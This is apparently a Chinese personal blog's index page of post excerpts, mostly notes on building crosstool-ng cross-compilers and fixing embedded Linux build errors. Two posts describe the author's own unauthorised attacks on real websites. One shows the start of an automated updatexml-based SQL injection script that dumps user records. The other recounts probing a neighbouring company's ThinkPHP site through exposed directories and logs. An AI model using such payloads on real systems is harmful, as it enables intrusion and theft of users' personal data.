[embedded]crosstool-ng制作交叉编译工具血泪史

2017-3-14 写技术

嵌入式开发第一步肯定是弄一个交叉编译工具了,一直很好奇芯片公司给的arm-linux-gcc怎么做的,就算是一些常见的嵌入式开发的书也只是聊聊数语,最后往往说到用crosstool等可以制作,但制作比较麻烦,最好是直接下载他人制作好了的。 我花了段时间,换来了一个完全自主知识产权的交叉编译工具。 其实制作这么一个工具并不那么玄乎,关键是不能走入死胡同。 首先,下载crosstool-ng-1.18.0,不要关注版本,我是正巧看到某个地方的交叉编译工具用这个版本的crosstool-ng制作的,我以后也许会偿试其它版本的。 然后自然是解压、编译、安装,这一切几乎非常顺利,除了其中会有一些...

阅读全文>>

标签: embedded

评论(0) 浏览(2102)

[embeded]config.log by crosstool-ng

2017-3-10 写技术

When get an error by crosstool-ng, it will tell us in build.log. All the same , there is config.log sometimes told by build.log. I search config.log file for a long time, found that it is in the fold of .build/src/*  

阅读全文>>

标签: embedded

评论(0) 浏览(1049)

[embedded]../libtool: eval: line

2017-3-10 写技术

There is an error: ../libtool: eval: line 950: syntax error near unexpected token `|’ You can ignore the line number, it depends on which program you are compiling. After some debugging, I find out that it looks like this was being caused by NM not being defined. Appears that it was being concat...

阅读全文>>

标签: embedded

评论(0) 浏览(1311)

[embedded]crosstool-ng能记住之前编译到哪一步

2017-3-7 写技术

据说crosstool-ng从某版本(可能是1.18)开始支持分步编译了。意思是中断改错之后,不用再从头开始编译。这么牛逼的技能居然被忽略。 ct-ng menuconfig Paths and misc options  —> [*]Debug crosstool-NG [*]Save intermediate steps ct-ng list-steps 然后看着办吧,我还没试验过的,回头试试去……

阅读全文>>

标签: embedded

评论(1) 浏览(1314)

[linux]ubuntu升级的重要性

2017-3-5 写技术

安装个crosstool-ng, 然后编译个交叉工具:ct-ng build 这一下来各种错啊, stray '177' in program no std iostream 以后一定要记住,新装的ubuntu,会有各种升级提醒,一定要升个级先。

阅读全文>>

标签: linux

评论(0) 浏览(1289)

麦兜

2017-3-5 写生活

《麦兜》是一个偶尔就不知不觉会看到一点点的动漫, 幼稚这东西,通常让人不屑一顾, 有的时候,然而也许还是很搞笑的, 笑过之后,尽然还意犹未尽, 直到有一天,才发现原来是个悲伤的故事呢…… 悲伤这东西,像是种子, 阳光下生,风雨里长, 漫长中,不禁就忘了本来的样子, 如果悲伤也有思想, 谁知道该想些什么呢?

阅读全文>>

评论(0) 浏览(1301)

[JS]用一段代码去遍历QQ号码

2017-3-1 写技术

用一段代码去遍历QQ号码,然后你就可以方便地在文件里查找自己喜欢的号码了, 不过现在玩QQ号码的人应该很少了——我玩的不是号码: // 地址:http://haoma.qq.com/shop.html var ret = ""; var i=0; function nextqq(){ $(".search_mod_list ul li").each(function(){ var str = $(this).find("a").attr("href"); str = str.split('num='); str = str[1...

阅读全文>>

标签: JS

评论(0) 浏览(1465)

[MySQL]真实的曝库攻击

2017-2-23 写技术

今天是真的曝了几个库,而且实现了全自动化记录数据。 一个网站可以曝出几百上千的用户信息,这下知道所谓的社工库怎么来的了吧: var bb=0; var logs = ""; for(i=1;i<400;i){ var username=new Array(); username[0] = "exp"; bb++; switch(bb){ case 1: username[1] = "-1 or updatexml(0,concat(0xa,(select concat("+i+",'+',username) from nqx_ucent...

阅读全文>>

标签: MySQL

评论(1) 浏览(1356)

[MySQL]回家弄了个曝库攻击

2017-2-22 写技术

公司隔壁是一家做图像识别的企业,去年才成立的,我最喜欢这种新鲜事物了,今天特意看了看他们的网站,用thinkphp框架做的。thinkphp有一些致命点,兴许他们没工夫处理呢。那今天就来检查检查吧。 首先,各个目录的列表权限——他们没有做处理,Application,Data,Runtime等目录一览无余,安装包都原封不动地躺在那,我清楚地看到他们改动了哪些文件。不过这些意义不是特别大,没有看到什么有价值的东西,有几个数据库脚本也只是原始安装文件。 然后,在Runtime目录下有日志文件,这个略有用,看到了登录后台,看到了登录用户‘Administrator’,而且用户只有一个,看到了一系...

阅读全文>>

标签: MySQL

评论(0) 浏览(1525)

[linux]arm-linux-ar not found

2017-2-16 写技术

There's an error in compiling Qt_ARM that: arm-linux-ar not found vi src/3rdparty/webkit/Source/JavaScriptCore/Makefile.WebKit Set AR as absolute path like: AR            = /opt/crosstool/gcc-4.4.3/bin/arm-linux-ar cqs It works.

阅读全文>>

标签: linux

评论(0) 浏览(1689)

Powered by anycle 湘ICP备15001973号-1